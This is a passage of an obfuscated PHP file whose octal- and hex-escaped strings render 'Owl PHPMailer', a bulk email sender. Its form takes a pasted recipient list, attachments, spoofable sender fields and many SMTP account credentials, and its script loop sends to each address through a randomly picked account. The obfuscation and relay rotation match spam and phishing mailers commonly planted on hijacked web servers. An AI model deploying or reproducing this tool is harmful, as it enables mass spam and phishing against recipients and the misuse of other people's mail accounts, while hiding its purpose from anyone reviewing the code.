x73\141\147\x65\124\171\x70\145\x22\54\x20\144\x6f\x63\x75\x6d\145\x6e\164\x2e\x71\x75\145\x72\171\123\x65\154\x65\143\164\157\x72\50\x27\x69\x6e\x70\165\164\133\x6e\x61\x6d\x65\75\x22\155\145\163\x73\x61\147\145\x54\171\x70\145\x22\x5d\x3a\x63\150\x65\143\153\145\144\x27\x29\x2e\166\x61\x6c\165\x65\x29\x3b\15\12\x20\40\40\x66\x6f\x72\155\137\x64\x61\164\141\x2e\x61\x70\x70\145\x6e\144\x28\x22\x65\x6e\143\x6f\144\x69\156\x67\124\171\x70\145\42\54\40\x65\156\143\157\144\151\156\x67\124\171\160\145\51\73\xd\xa\40\x20\40\x66\157\162\155\137\144\x61\x74\141\x2e\141\x70\160\145\x6e\x64\x28\x22\x65\x6d\x61\151\154\x50\162\x69\x6f\x72\x69\164\171\42\x2c\40\x65\x6d\x61\151\154\x50\x72\151\157\162\x69\x74\171\x29\x3b\15\12\15\12\40\40\x20\146\x6f\162\40\x28\166\x61\162\x20\170\40\75\40\x30\x3b\x20\x78\x20\x3c\x20\x64\157\x63\x75\x6d\145\x6e\164\x2e\x67\145\x74\x45\x6c\145\155\145\156\x74\x42\x79\x49\144\x28\47\x61\x74\x74\x61\143\x68\155\x65\156\164\47\x29\x2e\x66\x69\x6c\145\x73\x2e\x6c\x65\x6e\x67\x74\150\x3b\40\x78\x2b\53\51\x20\173\15\xa\40\x20\x20\x20\40\40\146\x6f\x72\155\137\144\141\164\141\x2e\141\x70\160\x65\x6e\x64\x28\42\141\x74\x74\x61\143\x68\155\x65\x6e\x74\x5b\x5d\42\54\x20\x64\157\143\x75\155\x65\x6e\164\x2e\x67\x65\x74\x45\x6c\x65\155\x65\156\164\x42\x79\111\144\x28\47\141\164\164\141\x63\x68\x6d\x65\x6e\x74\x27\51\x2e\x66\151\154\145\x73\133\x78\135\51\x3b\xd\12\x20\x20\40\175\xd\12\15\xa\x20\x20\44\50\x22\x23\x70\x72\157\x67\x72\145\x73\x73\42\x29\x2e\x65\155\x70\164\x79\50\x29\x3b\15\xa\x20\x20\x76\x61\x72\40\x70\162\x6f\143\145\163\163\x65\144\103\x6f\165\x6e\x74\40\75\x20\60\x3b\xd\12\x20\40\44\50\x66\x75\x6e\143\x74\151\157\156\40\x28\51\x20\173\15\xa\40\40\x20\40\166\141\x72\x20\x69\40\x3d\40\60\x3b\15\12\40\x20\x20\x20\x72\165\156\x6e\x69\x6e\x67\40\x3d\40\164\x72\165\x65\x3b\xd\12\15\12\40\x20\40\x20\x24\x28\42\43\142\164\156\123\x74\141\162\164\42\x29\x2e\x61\x74\164\x72\x28\42\x64\x69\163\141\142\154\145\x64\42\x2c\40\164\x72\x75\x65\x29\73\15\12\x20\x20\x20\x20\x24\x28\x22\43\142\164\x6e\123\164\x6f\x70\42\x29\56\x61\x74\164\x72\50\42\x64\x69\163\141\142\154\145\144\42\54\40\146\x61\x6c\163\x65\51\73\15\xa\15\12\15\xa\x20\x20\40\40\146\x75\x6e\x63\164\x69\x6f\x6e\x20\156\145\170\x74\x43\141\154\154\x28\51\x20\173\xd\12\x20\40\40\x20\x20\40\151\x66\x20\x28\151\x20\x3d\75\x20\x65\x4d\x61\x69\154\x54\x65\170\164\x41\x72\145\141\114\151\x6e\145\x73\56\154\x65\156\x67\164\x68\51\x7b\xd\12\15\12\40\x20\x20\x20\40\x20\40\x20\40\44\50\x22\43\x62\x74\156\123\x74\x61\x72\164\42\51\x2e\x61\164\x74\x72\50\42\x64\x69\x73\x61\142\154\x65\144\42\54\x20\146\141\x6c\x73\145\51\x3b\15\12\x20\40\40\x20\x20\40\x20\40\40\x24\50\42\x23\x62\x74\156\123\164\157\160\x22\x29\x2e\x61\x74\164\x72\50\x22\x64\x69\163\x61\x62\x6c\x65\144\x22\x2c\40\164\162\x75\x65\51\73\xd\xa\40\x20\40\x20\40\x20\40\x20\x20\x72\x65\164\165\162\156\x3b\40\57\x2f\154\x61\x73\x74\40\x63\x61\154\154\40\x77\141\163\x20\x6c\141\163\164\40\x69\x74\145\155\x20\151\156\40\164\150\x65\x20\141\162\x72\141\171\15\12\x20\40\x20\40\x20\x20\175\15\12\xd\12\40\x20\x20\x20\40\x20\57\57\x20\x41\x62\157\162\x74\40\x61\156\x79\40\x70\145\x6e\144\151\156\x67\x20\x72\x65\161\x75\x65\x73\164\xd\xa\40\40\x20\40\x20\40\151\146\x20\50\x72\145\161\x75\145\163\x74\x29\40\x7b\15\xa\x20\x20\x20\40\x20\40\x20\x20\162\145\161\x75\x65\x73\x74\56\x61\142\157\x72\x74\50\x29\x3b\15\12\40\40\40\40\40\x20\x7d\15\12\x20\x20\40\x20\x20\40\x20\151\146\50\41\162\165\x6e\156\151\x6e\147\x29\15\xa\x20\x20\x20\x20\x20\x20\x7b\15\xa\40\x20\40\40\40\40\40\x20\x72\145\x74\x75\x72\156\x3b\15\12\40\40\40\x20\x20\x20\175\15\xa\xd\12\40\x20\x20\40\x20\40\166\x61\162\x20\162\145\x63\151\x70\151\145\x6e\x74\x20\x3d\40\145\115\141\x69\154\x54\145\x78\164\x41\162\145\x61\114\x69\x6e\x65\x73\x5b\151\53\x2b\135\15\xa\40\40\40\x20\40\x20\146\x6f\162\155\137\x64\141\164\141\x2e\141\x70\160\x65\156\x64\50\42\x72\145\x63\151\160\151\145\x6e\164\42\54\40\162\x65\x63\151\160\x69\145\156\x74\51\73\xd\xa\x20\40\40\x20\40\40\146\157\162\155\x5f\x64\x61\164\x61\x2e\x61\160\x70\145\156\144\50\42\x73\155\164\x70\x41\143\x63\x74\42\54\x20\163\x6d\x74\x70\x41\x63\x63\x6f\x75\x6e\x74\163\x54\145\x78\164\101\162\x65\x61\114\x69\156\145\163\x2e\162\141\x6e\x64\157\x6d\105\154\145\x6d\x65\156\x74\50\51\x29\x3b\15\xa\xd\12\40\40\x20\40\x20\x20\162\145\161\x75\145\163\164\40\x3d\40\44\x2e\x61\x6a\141\x78\x28\x7b\xd\xa\x20\x20\x20\x20\40\x20\40\40\x74\171\160\145\72\x20\42\160\x6f\x73\x74\42\x2c\xd\xa\x20\40\x20\40\40\40\40\40\144\141\164\x61\x3a\40\x66\157\162\155\x5f\144\141\164\141\54\15\12\40\40\x20\x20\x20\40\x20\x20\x63\157\x6e\164\x65\156\x74\x54\x79\160\x65\72\x20\146\141\x6c\x73\145\54\15\xa\40\x20\x20\x20\x20\x20\40\x20\x70\162\157\x63\145\x73\x73\104\141\164\141\72\40\146\141\x6c\x73\x65\54\xd\xa\x20\40\40\40\40\40\x7d\x29\73\15\xa\x20\x20\x20\x20\x20\40\57\57\x20\x43\x61\154\x6c\x62\141\143\x6b\x20\150\x61\x6e\x64\154\x65\x72\40\x74\150\x61\164\x20\x77\x69\x6c\154\x20\142\x65\40\x63\x61\x6c\154\145\x64\x20\x6f\x6e\x20\163\x75\x63\x63\x65\163\x73\15\12\x20\40\x20\40\x20\x20\162\x65\161\x75\145\163\x74\56\144\157\x6e\x65\x28\146\x75\156\143\x74\x69\157\x6e\x20\x28\162\x65\x73\160\x6f\156\x73\x65\x2c\40\x74\x65\170\x74\x53\164\x61\x74\165\x73\x2c\x20\152\161\130\x48\122\51\40\x7b\xd\xa\x20\x20\x20\x20\x20\x20\x20\40\160\162\x6f\143\x65\x73\x73\x65\144\x43\x6f\165\156\164\x20\53\75\x20\x31\73\15\12\40\40\40\x20\40\x20\40\x20\150\x61\x6e\x64\154\x65\123\145\156\144\x69\156\x67\x52\x65\163\160\x6f\156\x73\145\50\162\145\x63\151\160\x69\145\156\x74\54\40\162\x65\x73\160\x6f\156\x73\x65\x2c\x20\160\162\157\143\145\163\163\145\x64\x43\157\165\156\164\54\x20\x65\x4d\141\151\154\124\145\x78\x74\101\x72\145\141\114\x69\156\x65\163\x2e\x6c\145\x6e\x67\x74\x68\x29\73\15\12\x20\40\x20\40\40\x20\40\x20\156\145\170\x74\103\x61\154\x6c\x28\51\73\15\xa\x20\40\x20\40\40\40\x7d\51\73\15\12\40\x20\x20\x20\x7d\15\xa\40\40\40\40\156\145\170\164\103\141\x6c\154\50\x29\73\15\xa\x20\40\175\x29\x3b\xd\xa\x20\x7d\15\12\x3c\57\163\143\x72\x69\x70\164\76\xd\12\40\x20\74\144\x69\x76\x20\143\154\141\163\163\x3d\x22\x63\157\156\x74\141\x69\x6e\145\162\x20\x63\157\x6c\x2d\154\147\55\66\x22\x3e\15\xa\x20\x20\40\40\74\x68\x33\x3e\46\43\61\62\x39\64\x31\67\x3b\x20\x4f\167\x6c\40\120\x48\120\x4d\141\151\154\145\x72\74\x73\155\x61\x6c\154\76\x20";
echo $qeeAj["\166\x65\x72\x73\151\x6f\x6e"];
echo "\74\57\163\155\x61\x6c\154\76\x3c\57\x68\63\x3e\15\12\x20\x20\40\40\74\x64\x69\166\x20\x63\154\x61\x73\x73\x3d\x22\162\x6f\167\x22\76\15\xa\x20\40\x20\40\x20\40\74\144\151\166\x20\x63\x6c\141\x73\163\x3d\42\146\x6f\x72\x6d\55\147\x72\x6f\165\160\x20\143\x6f\154\55\154\147\x2d\66\40\42\x3e\xd\12\x20\40\40\40\x20\x20\40\x20\74\x6c\x61\142\x65\154\x20\146\x6f\x72\75\x22\163\x65\156\144\145\x72\105\x6d\x61\x69\x6c\42\76\123\x65\x6e\144\x65\x72\40\x45\155\141\x69\154\74\x2f\154\x61\x62\145\x6c\x3e\xd\xa\x20\x20\x20\40\40\40\x20\x20\x3c\x69\x6e\x70\165\x74\x20\x74\x79\x70\x65\x3d\42\x74\145\170\164\x22\40\x63\154\x61\163\x73\75\42\x66\x6f\x72\155\x2d\x63\x6f\156\164\162\x6f\154\x20\40\x69\156\x70\165\x74\x2d\x73\x6d\42\40\151\144\x3d\42\163\x65\156\144\145\x72\x45\155\141\x69\x6c\x22\x20\156\141\155\x65\x3d\x22\163\x65\156\x64\x65\162\x45\x6d\x61\x69\154\x22\76\xd\12\x20\x20\x20\40\x20\x20\x3c\57\144\x69\x76\76\xd\xa\40\x20\x20\40\x20\x20\74\x64\151\x76\x20\143\154\141\x73\x73\75\42\x66\157\162\155\55\x67\x72\157\165\160\x20\143\x6f\154\x2d\154\x67\55\x36\40\x22\x3e\xd\12\x9\x20\x20\x3c\146\x6f\162\x6d\x20\155\145\164\x68\157\144\x3d\42\x47\x45\124\42\x20\x6e\141\155\145\x3d\42";
echo basename($_SERVER["\x50\x48\120\x5f\x53\105\x4c\x46"]);
echo "\42\76\xd\12\x20\40\x20\x20\40\x20\x20\x20\74\154\x61\142\145\x6c\x20\146\x6f\162\x3d\x22\163\145\x6e\144\x65\162\x45\x6d\x61\151\154\x22\x3e\x53\145\156\144\145\x72\40\116\x61\x6d\145\x3c\57\154\x61\x62\145\154\76\15\12\x20\40\40\x20\x20\x20\x20\x20\74\x69\156\x70\165\164\x20\164\x79\x70\145\x3d\x22\164\x65\170\x74\42\40\x63\154\141\x73\163\75\x22\146\x6f\x72\x6d\x2d\143\x6f\156\x74\162\x6f\154\x20\x20\151\156\x70\165\164\x2d\163\x6d\x22\40\151\x64\75\42\163\145\x6e\x64\145\x72\x4e\x61\155\x65\42\40\156\141\155\x65\75\42\x73\145\x6e\x64\x65\x72\116\x61\x6d\x65\x22\x3e\xd\xa\74\151\x6e\x70\x75\164\40\164\171\x70\145\x3d\x22\x73\x75\142\155\151\x74\42\40\x76\x61\x6c\165\x65\x3d\42\123\x65\156\144\x22\40\x68\151\144\x64\x65\x6e\40\x2f\76\15\12\40\x20\x20\40\40\40\x3c\57\x64\151\x76\76\xd\xa\x20\40\40\x20\x3c\57\x64\x69\166\x3e\15\xa\x20\40\40\x20\74\144\151\x76\x20\x63\154\x61\x73\163\75\x22\x72\x6f\x77\x22\x3e\40\74\x73\x70\x61\x6e\40\x63\x6c\141\x73\163\x3d\42\146\x6f\162\x6d\55\x67\162\x6f\x75\x70\40\143\157\x6c\x2d\154\147\x2d\66\42\x3e\74\154\141\142\145\x6c\x20\146\157\162\x3d\42\141\164\x74\141\143\150\x6d\x65\156\x74\42\76\x41\164\x74\141\143\x68\x6d\x65\156\x74\40\x3c\163\155\x61\154\154\x3e\50\115\x75\x6c\x74\x69\x70\154\x65\x20\x41\166\141\x69\154\141\x62\154\x65\x29\74\x2f\163\x6d\141\x6c\x6c\76\x3c\57\154\141\x62\x65\154\76\74\x69\x6e\160\x75\x74\x20\x74\171\x70\x65\x3d\42\x66\151\x6c\x65\x22\x20\x6e\x61\x6d\x65\x3d\42\x61\x74\164\x61\x63\150\155\145\156\x74\133\x5d\x22\x20\151\x64\x3d\x22\141\164\164\141\143\150\155\x65\x6e\x74\x22\40\155\x75\154\x74\151\x70\x6c\145\x2f\76\x3c\x2f\163\160\x61\156\76\15\12\40\40\40\x20\x20\40\74\x64\x69\x76\40\143\x6c\x61\163\163\x3d\42\x66\157\162\x6d\x2d\147\162\x6f\165\160\40\143\x6f\x6c\55\x6c\147\x2d\x36\42\x3e\15\12\x20\x20\x20\x20\x20\x20\40\40\x3c\x6c\141\142\145\x6c\40\x66\x6f\162\x3d\x22\x72\145\160\x6c\x79\x54\x6f\x22\x3e\x52\145\x70\x6c\171\55\x74\157\74\x2f\154\x61\142\x65\x6c\x3e\xd\12\x20\40\40\x20\40\40\40\x20\74\151\x6e\x70\165\164\40\164\171\x70\x65\x3d\42\164\x65\x78\x74\42\x20\x63\x6c\x61\x73\x73\x3d\42\x66\157\162\x6d\x2d\143\157\x6e\164\162\x6f\x6c\40\x20\x69\156\160\x75\164\x2d\x73\155\40\x22\x20\x69\144\x3d\42\162\x65\160\x6c\171\124\157\x22\40\156\141\x6d\x65\75\x22\162\x65\x70\x6c\x79\x54\157\42\40\x2f\x3e\15\12\40\x20\40\40\x20\x20\74\57\144\x69\x76\76\xd\xa\40\x20\x20\x20\74\57\x64\151\166\x3e\xd\xa\40\40\40\40\74\x64\151\166\x20\143\154\x61\163\163\75\42\x72\157\x77\42\x3e\xd\12\40\x20\x20\40\x20\40\74\x64\151\166\40\143\154\x61\x73\163\x3d\42\x66\157\x72\155\x2d\147\162\x6f\x75\160\x20\143\x6f\154\55\154\147\x2d\x31\62\40\42\x3e\15\xa\x20\x20\40\x20\x20\x20\40\40\74\x6c\141\x62\145\154\40\146\x6f\x72\75\42\x73\x75\142\152\145\143\x74\x22\x3e\123\x75\x62\152\145\143\164\x3c\x2f\154\x61\x62\145\154\x3e\xd\xa\40\40\x20\x20\x20\x20\x20\x20\74\x69\x6e\160\165\x74\40\164\x79\160\145\x3d\x22\x74\145\170\x74\42\40\143\x6c\141\x73\x73\x3d\x22\x66\157\162\155\x2d\x63\157\156\164\x72\x6f\x6c\40\x20\151\156\160\x75\164\55\163\x6d\40\x22\40\x69\x64\x3d\x22\163\x75\142\x6a\x65\x63\x74\42\40\156\x61\x6d\x65\x3d\42\163\165\x62\152\145\x63\x74\x22\x20\57\76\15\xa\x20\40\40\40\40\40\74\x2f\x64\x69\x76\x3e\xd\xa\40\40\40\40\74\57\x64\151\166\76\15\12\x20\x20\40\x20\74\144\x69\x76\40\x63\x6c\x61\x73\x73\75\x22\x72\x6f\167\x22\76\xd\xa\x20\x20\40\x20\x20\x20\x3c\x64\x69\x76\40\x63\x6c\141\x73\x73\x3d\x22\x66\157\x72\x6d\x2d\147\x72\x6f\x75\160\x20\143\157\154\x2d\x6c\x67\x2d\66\x22\x3e\15\12\x20\x20\40\40\x20\x20\x20\x20\x3c\x6c\141\142\x65\x6c\x20\146\157\162\75\42\x6d\145\163\163\141\x67\x65\114\x65\x74\x74\x65\162\42\76\x4d\x65\163\x73\141\x67\x65\40\114\x65\x74\164\x65\162\x3c\57\154\141\x62\x65\x6c\76\15\xa\40\40\x20\x20\x20\40\x20\40\74\164\x65\x78\x74\141\x72\145\141\x20\160\x6c\x61\143\145\150\x6f\x6c\144\145\162\x3d\42\x4d\x65\163\163\x61\x67\x65\x20\114\x65\164\x74\145\162\x22\40\156\x61\155\145\x3d\x22\155\145\163\163\141\x67\145\114\145\164\164\x65\162\42\40\x69\x64\75\x22\155\145\163\163\141\x67\x65\x4c\x65\x74\x74\x65\162\x22\40\143\154\141\x73\x73\x3d\x22\146\x6f\x72\x6d\x2d\143\157\156\x74\x72\157\x6c\42\x20\162\157\167\163\x3d\42\61\60\x22\x20\151\x64\75\42\x74\x65\170\x74\101\x72\145\x61\42\x3e\74\x2f\164\145\170\164\x61\162\x65\x61\x3e\xd\xa\40\40\40\x20\x20\40\x3c\x2f\x64\151\166\x3e\xd\12\40\x20\40\40\40\40\x3c\144\x69\166\40\x63\x6c\141\163\163\75\42\146\x6f\x72\155\55\147\162\157\165\x70\40\x63\x6f\154\x2d\154\147\x2d\x36\x22\x3e\xd\xa\40\40\40\x20\x20\x20\x20\x20\x3c\x6c\x61\x62\145\154\40\146\157\x72\x3d\42\x61\x6c\164\115\145\163\x73\141\147\145\114\x65\164\164\145\162\x22\x3e\x41\x6c\164\145\162\x6e\141\164\151\x76\145\40\115\x65\163\x73\x61\x67\x65\40\114\145\164\x74\x65\162\74\57\x6c\141\142\145\x6c\76\15\12\x20\x20\40\x20\x20\x20\40\x20\74\164\145\x78\164\141\162\x65\x61\40\160\154\141\143\x65\150\157\x6c\x64\145\x72\75\x22\x41\x6c\164\x65\x72\x6e\x61\164\151\166\145\40\x4d\145\163\x73\x61\147\145\x20\x4c\145\x74\164\x65\x72\56\x26\x23\x31\60\x3b\124\150\151\163\x20\142\157\144\171\40\143\141\x6e\x20\142\145\x20\x72\x65\x61\x64\x20\x62\171\40\155\141\151\154\40\143\154\151\145\156\x74\x73\40\x74\x68\141\164\x20\144\157\40\x6e\x6f\164\x20\x68\141\166\x65\x20\x48\x54\115\114\40\145\x6d\141\151\x6c\x2e\x26\x23\x31\x30\x3b\143\x61\x70\141\x62\x69\154\x69\164\171\x20\x73\x75\143\150\40\141\163\x20\x6d\165\x74\164\x20\x26\x23\63\70\x3b\40\x45\x75\x64\x6f\x72\141\x2e\x26\43\x31\x30\73\x43\x6c\151\x65\x6e\164\163\x20\x74\x68\x61\164\40\x63\x61\156\40\162\145\x61\144\x20\x48\x54\x4d\114\40\x77\x69\x6c\154\x20\x76\151\145\167\x20\164\150\145\40\x6e\x6f\x72\x6d\141\154\40\x42\157\x64\171\56\42\x20\x6e\141\x6d\x65\x3d\x22\141\154\x74\x4d\x65\163\163\x61\x67\x65\114\x65\x74\164\145\162\x22\x20\x69\144\x3d\x22\x61\154\x74\x4d\x65\x73\x73\x61\147\x65\114\145\164\164\x65\162\x22\40\x63\154\x61\x73\163\75\x22\146\x6f\x72\155\55\143\157\x6e\x74\162\x6f\154\42\40\162\x6f\x77\x73\x3d\x22\x31\60\42\x20\x69\144\x3d\x22\x74\x65\x78\x74\101\162\x65\141\x22\76\x3c\x2f\x74\145\170\x74\x61\162\x65\141\x3e\15\xa\40\40\40\40\x20\x20\x3c\57\144\x69\166\76\xd\xa\x20\x20\40\x20\x3c\x2f\x64\151\x76\x3e\xd\xa\x20\x20\x20\x20\74\x64\151\x76\40\143\x6c\141\x73\163\x3d\42\162\x6f\x77\42\x3e\15\xa\40\x20\40\x20\40\x20\x3c\144\x69\x76\x20\143\154\141\x73\163\75\42\x66\x6f\x72\155\55\147\162\157\165\160\x20\143\157\154\x2d\x6c\147\55\x36\40\42\76\15\12\x20\40\x20\40\x20\40\x20\40\x3c\x6c\141\142\145\x6c\x20\146\x6f\162\75\42\x65\155\x61\x69\154\114\x69\x73\x74\x22\x3e\x45\x6d\x61\x69\x6c\40\x4c\151\x73\x74\74\57\154\141\x62\145\x6c\76\xd\xa\x20\x20\x20\x20\40\40\x20\40\x3c\164\x65\170\x74\x61\162\145\141\x20\156\141\155\x65\75\42\145\x6d\141\151\154\114\x69\x73\164\x22\40\151\144\75\x22\145\155\141\x69\154\x4c\151\x73\164\42\x20\x63\154\x61\x73\x73\75\x22\146\x6f\162\155\55\143\x6f\x6e\x74\x72\x6f\154\42\x20\x72\157\x77\163\75\x22\x31\x30\42\40\x69\x64\x3d\x22\164\145\170\164\101\x72\x65\x61\x22\76\x3c\57\164\x65\x78\x74\141\x72\x65\141\x3e\xd\xa\x20\40\40\40\40\40\x3c\x2f\144\151\166\x3e\15\12\x20\x20\40\x20\x20\40\74\144\151\166\x20\x63\x6c\x61\163\x73\x3d\42\146\x6f\x72\x6d\x2d\x67\162\157\165\160\40\x63\x6f\x6c\x2d\154\x67\x2d\x36\x20\x22\76\xd\12\x20\x20\40\x20\40\x20\x20\x20\x3c\x6c\x61\142\145\x6c\40\x66\x6f\162\75\42\163\x6d\x74\x70\101\x63\143\157\165\x6e\x74\163\x22\76\123\x4d\x54\x50\x20\x41\143\143\157\x75\156\164\163\x3c\57\154\141\x62\x65\154\76\xd\12\40\x20\40\40\x20\x20\40\40\74\x74\x65\x78\x74\x61\x72\145\141\40\x70\x6c\141\143\x65\x68\157\154\x64\x65\162\75\x22\x52\141\156\x64\x6f\x6d\40\141\143\x63\157\x75\156\164\x20\167\x69\x6c\x6c\40\x62\x65\x20\x75\x73\x65\144\x20\167\150\145\x6e\40\163\145\x6e\144\x69\156\x67\40\141\x20\x6d\145\163\163\141\x67\x65\56\x26\43\61\60\73\x31\x29\40\x46\x6f\x72\x6d\141\164\72\40\110\x4f\123\x54\72\x50\117\x52\x54\x3a\x53\x53\x4c\x26\x23\x31\60\73\62\x29\40\x46\157\x72\155\x61\164\x3a\x20\x48\117\x53\124\x3a\x50\x4f\122\x54\x3a\123\x53\x4c\x3a\125\x73\x65\162\156\x61\155\145\x3a\120\141\x73\163\167\x6f\162\144\x26\43\x31\60\73\105\170\x61\155\160\x6c\145\72\x20\x73\155\x74\160\x2e\x67\x6d\x61\151\154\56\x63\x6f\x6d\x3a\x35\x38\x37\72\164\x6c\163\72\x78\x78\x40\x67\155\x61\151\x6c\56\x63\157\x6d\x3a\x31\62\63\46\x23\x31\60\73\105\170\141\155\x70\x6c\145\72\40\x73\x6d\x74\160\x2e\147\155\x61\151\x6c\x2e\x63\x6f\x6d\72\65\70\67\72\x6e\157\x73\x73\154\x3a\x78\x78\100\x67\155\x61\151\x6c\56\143\157\155\x3a\x31\62\63\46\43\61\60\x3b\46\x23\x31\60\x3b\x53\x53\114\40\117\160\x74\x69\x6f\156\163\72\40\x74\x6c\x73\x20\54\40\x73\163\154\x2c\40\156\157\x73\163\x6c\x22\40\x6e\x61\x6d\145\75\42\163\x6d\164\x70\101\x63\x63\x6f\165\156\164\163\x22\x20\x69\x64\75\x22\163\x6d\x74\160\x41\x63\x63\157\x75\156\x74\x73\x22\40\143\x6c\x61\163\x73\75\42\x66\x6f\162\x6d\x2d\x63\x6f\x6e\x74\x72\x6f\x6c\42\40\162\157\167\x73\x3d\x22\61\x30\x22\x20\x69\144\75\42\x74\145\170\164\x41\162\x65\x61\42\x3e\x3c\x2f\164\145\170\x74\141\x72\x65\141\x3e\xd\xa\40\x20\40\x20\40\40\74\x2f\144\x69\x76\x3e\15\xa\x20\x20\x20\40\x3c\57\144\x69\166\x3e\xd\xa\15\12\x20\40\x20\40\74\144\151\166\40\x63\x6c\x61\x73\x73\x3d\42\x72\157\x77\42\76\xd\xa\x20\40\40\x20\40\40\74\144\151\166\x20\x63\154\x61\163\163\x3d\42\146\x6f\x72\155\x2d\147\x72\x6f\x75\160\40\143\157\154\x2d\154\x67\x2d\x36\x20\42\76\xd\12\x20\40\40\40\x20\40\x3c\154\141\x62\x65\154\40\146\157\162\x3d\x22\x6d\145\163\x73\x61\147\x65\124\x79\x70\x65\42\x3e\115\x65\x73\163\x61\147\x65\40\124\171\160\145\74\x2f\154\141\142\145\x6c\x3e\xd\xa\40\40\x20\40\40\x20\x3c\x69\x6e\160\x75\x74\x20\164\171\160\x65\75\x22\x72\141\x64\151\157\x22\40\x6e\x61\x6d\145\75\x22\155\x65\163\x73\141\x67\145\124\x79\160\x65\x22\40\151\144\75\42\x6d\x65\163\x73\x61\147\145\x54\171\x70\145\42\40\x76\141\154\x75\x65\75\42\x68\x74\x6d\x6c\x22\40\143\150\145\143\x6b\x65\144\76\40\110\x54\x4d\114\xd\12\40\40\x20\x20\40\40\x3c\x69\x6e\160\x75\x74\x20\x74\171\160\x65\x3d\42\x72\x61\144\x69\157\x22\x20\x6e\141\x6d\x65\75\x22\155\145\163\x73\141\x67\x65\x54\x79\x70\x65\42\40\151\144\x3d\42\155\145\x73\163\141\147\145\124\x79\160\x65\42\x20\x76\141\x6c\165\145\x3d\x22\x70\154\141\151\156\42\76\x20\120\154\141\151\156\xd\12\x20\x20\x20\40\74\x2f\144\x69\x76\76\15\xa\x20\x20\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\75\x22\x66\x6f\162\x6d\x2d\147\x72\157\165\x70\x20\143\157\154\x2d\154\x67\x2d\x36\40\x22\76\15\12\40\40\x20\40\40\x20\x3c\154\141\x62\x65\154\40\146\157\162\75\x22\163\x65\x6e\x64\x69\156\x67\115\145\x74\150\x6f\x64\x22\76\x53\145\x6e\144\151\x6e\x67\40\115\x65\164\150\x6f\144\x3c\x2f\x6c\141\x62\145\x6c\76\15\xa\40\x20\40\x20\40\x20\x3c\151\x6e\160\x75\x74\40\164\x79\160\x65\x3d\x22\x72\x61\x64\151\x6f\x22\40\156\141\155\x65\75\42\163\x65\x6e\144\x69\x6e\x67\115\x65\164\150\157\144\42\x20\151\x64\x3d\x22\163\x65\156\x64\x69\156\147\x4d\x65\x74\150\x6f\x64\42\x20\x76\141\154\165\145\x3d\x22\x62\x75\151\x6c\164\151\x6e\x22\40\x63\x68\145\143\153\145\x64\x3e\40\102\x75\x69\154\164\151\156\15\12\x20\40\40\x20\x20\40\x3c\x69\x6e\160\x75\x74\x20\164\x79\x70\145\x3d\42\x72\x61\144\151\x6f\x22\40\156\141\155\x65\x3d\42\163\145\156\144\x69\x6e\147\115\145\164\x68\x6f\x64\42\x20\x69\144\75\x22\163\145\156\x64\x69\156\147\115\145\x74\x68\157\x64\x22\40\166\141\154\x75\x65\x3d\42\163\155\164\x70\42\76\40\123\x4d\124\120\15\xa\40\x20\x20\x20\74\x2f\x64\x69\x76\x3e\xd\12\40\40\40\40\74\x64\151\x76\x20\x63\154\x61\x73\x73\x3d\x22\x66\x6f\162\155\55\147\162\157\x75\160\x20\143\x6f\154\x2d\154\147\x2d\x36\x22\x3e\xd\xa\40\40\x20\40\40\40\74\x6c\141\142\x65\154\x20\146\x6f\162\x3d\42\x65\x6e\143\157\x64\151\156\x67\x22\76\x45\x6e\143\x6f\144\x69\x6e\x67\x20\x54\171\x70\x65\x3c\57\154\141\142\x65\x6c\76\15\xa\x20\40\40\40\x20\40\x3c\x73\145\x6c\x65\143\164\x20\x63\x6c\141\163\x73\75\x22\x66\157\162\x6d\55\x63\x6f\x6e\164\x72\x6f\154\x20\x69\x6e\160\x75\164\55\x73\x6d\42\x20\x69\x64\75\x22\x65\156\x63\x6f\x64\x69\x6e\x67\x22\40\x6e\141\x6d\x65\75\x22\x65\156\x63\157\x64\x69\x6e\147\x22\76\xd\12\x20\x20\40\x20\40\40\40\40\x3c\x6f\160\164\151\x6f\156\x20\x76\141\x6c\x75\x65\75\x22\x55\124\x46\55\70\x22\40\163\145\154\145\143\x74\145\x64\76\x55\124\106\x2d\70\x20\x49\x6e\164\x65\162\156\141\x74\151\x6f\156\x61\x6c\40\x55\156\151\143\157\x64\x65\x3c\x2f\157\x70\164\x69\x6f\x6e\76\15\12\x20\x20\x20\x20\40\x20\40\40\74\157\x70\164\151\x6f\156\x20\166\x61\x6c\165\145\x3d\42\111\123\117\55\x38\70\65\x39\x2d\x31\42\x3e\111\123\117\55\x38\70\65\71\55\x31\x20\114\141\164\151\156\40\x31\40\50\x57\145\x73\x74\40\x45\165\162\x6f\x70\x65\141\156\x29\x3c\57\x6f\x70\164\x69\x6f\156\76\15\xa\x20\x20\40\x20\40\x20\x20\x20\74\x6f\x70\x74\x69\x6f\156\40\166\x61\154\x75\145\x3d\x22\x49\x53\x4f\x2d\x38\70\65\x39\x2d\62\42\76\111\x53\x4f\55\x38\x38\65\x39\55\x32\40\114\x61\x74\151\x6e\x20\x32\40\x28\x45\141\x73\164\40\x45\x75\162\157\160\x65\x61\156\51\x3c\x2f\x6f\x70\164\x69\157\x6e\76\xd\xa\40\x20\x20\x20\x20\x20\40\40\x3c\157\160\164\x69\157\156\x20\166\x61\154\165\x65\75\42\x49\x53\117\55\x38\70\x35\x39\x2d\x33\x22\76\111\x53\117\55\70\x38\65\x39\x2d\x33\x20\114\x61\x74\x69\x6e\x20\x33\x20\x28\123\157\x75\164\150\x20\x45\165\162\x6f\x70\x65\141\156\51\74\x2f\157\160\164\151\157\156\76\15\xa\x20\40\x20\x20\40\40\40\40\x3c\x6f\x70\x74\x69\x6f\156\x20\166\x61\x6c\x75\x65\x3d\42\x49\123\117\55\70\70\x35\x39\55\x34\x22\x3e\111\x53\117\x2d\x38\70\x35\x39\55\x34\40\114\141\164\151\x6e\40\64\x20\50\116\x6f\162\164\150\x20\105\x75\162\x6f\x70\x65\141\x6e\51\74\x2f\157\160\164\x69\x6f\x6e\76\xd\12\40\x20\40\x20\40\40\40\x20\74\157\x70\164\x69\x6f\x6e\40\166\141\x6c\x75\x65\75\42\111\x53\x4f\55\70\x38\65\71\55\65\x22\76\111\x53\x4f\55\x38\70\x35\71\55\65\40\x43\171\162\151\x6c\x6c\x69\x63\x3c\57\157\160\x74\x69\x6f\156\x3e\xd\12\x20\x20\40\40\x20\x20\x20\40\x3c\x6f\160\x74\x69\157\156\x20\166\141\154\x75\145\75\x22\x49\x53\117\x2d\70\70\x35\x39\55\66\x22\76\111\123\x4f\x2d\70\70\x35\71\x2d\66\x20\x41\x72\141\x62\x69\x